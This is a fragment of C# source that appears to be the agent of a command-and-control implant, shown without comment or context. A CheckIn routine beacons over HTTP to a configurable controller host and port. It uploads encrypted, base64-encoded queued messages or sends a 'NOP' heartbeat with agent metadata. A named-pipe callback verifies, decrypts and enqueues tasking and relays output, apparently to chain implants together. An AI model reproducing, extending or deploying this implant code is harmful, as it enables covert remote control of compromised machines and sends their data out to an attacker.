private void CheckIn()
{
var client = GetWebClient();
Uri uri;
byte[] outMessage;
string dataToSend;
if (Outbound.Count > 0)
{
client.UploadDataCompleted += UploadDataCallBack;
outMessage = Crypto.Encrypt(Outbound.Dequeue());
dataToSend = $"Message={Convert.ToBase64String(outMessage)}";
uri = new Uri($"http://{ConnectHost}:{ConnectPort}");
client.UploadDataAsync(uri, Encoding.UTF8.GetBytes(dataToSend));
}
else
{
client.DownloadDataCompleted += DownloadDataCallBack;
outMessage = Crypto.Encrypt(new AgentMessage {
IdempotencyKey = Guid.NewGuid().ToString(), Metadata = Metadata, Data = new C2Data {
Module = "Core", Command = "NOP"
}
});
dataToSend = $"Message={Convert.ToBase64String(outMessage)}";
uri = new Uri($"http://{ConnectHost}:{ConnectPort}?{dataToSend}");
client.DownloadDataAsync(uri);
}
client.Dispose();
}
private void ReadCallback(IAsyncResult ar)
{
var state = ar.AsyncState as CommStateObject;
var pipe = state.Worker as NamedPipeServerStream;
var bytesRead = 0;
try
{
bytesRead = pipe.EndRead(ar);
}
catch { }
if (bytesRead > 0)
{
var data = DataJuggle(bytesRead, pipe, state);
if (Crypto.VerifyHMAC(data))
{
var inbound = Crypto.Decrypt <AgentMessage>(data);
if (inbound != null)
{
Inbound.Enqueue(inbound);
}
}
}
var outbound = new AgentMessage {
Metadata = Metadata
};
if (Outbound.Count > 0)
{
outbound = Outbound.Dequeue();
}
var dataToSend = Crypto.Encrypt(outbound);
pipe.BeginWrite(dataToSend, 0, dataToSend.Length, new AsyncCallback(WriteCallback), pipe);
}
